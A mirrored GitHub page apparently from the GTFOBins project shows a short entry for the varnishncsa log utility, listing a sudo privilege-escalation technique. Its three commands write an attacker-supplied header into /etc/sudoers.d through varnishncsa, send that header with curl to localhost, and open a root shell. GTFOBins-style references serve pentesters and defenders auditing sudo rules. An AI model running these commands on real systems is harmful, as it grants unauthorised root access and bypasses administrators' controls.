1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-10-18 05:18:13 +02:00
GTFOBins.github.io/_gtfobins/varnishncsa.md
nuts7 2c9f0de8e5 Add varnishncsa & apache2ctl
This commit adds 2 files (_gtfobins/apache2ctl.md and _gtfobins/varnishncsa.md) containing privilege escalation methods for the varnishncsa and apache2ctl utilities.
2023-06-19 12:06:14 +02:00

413 B

description: varnishncsa utility reads varnishd shared memory Varnish logs and presents them in the Apache / NCSA "combined" log format. functions: sudo: - code: sudo varnishncsa -g request -q "ReqURL ~ "/exploit_randomfoo"" -F '%{exploit}i' -w /etc/sudoers.d/user & - code: curl -H 'exploit: user ALL = (ALL) NOPASSWD: ALL' localhost:6081/exploit_randomfoo - code: sudo bash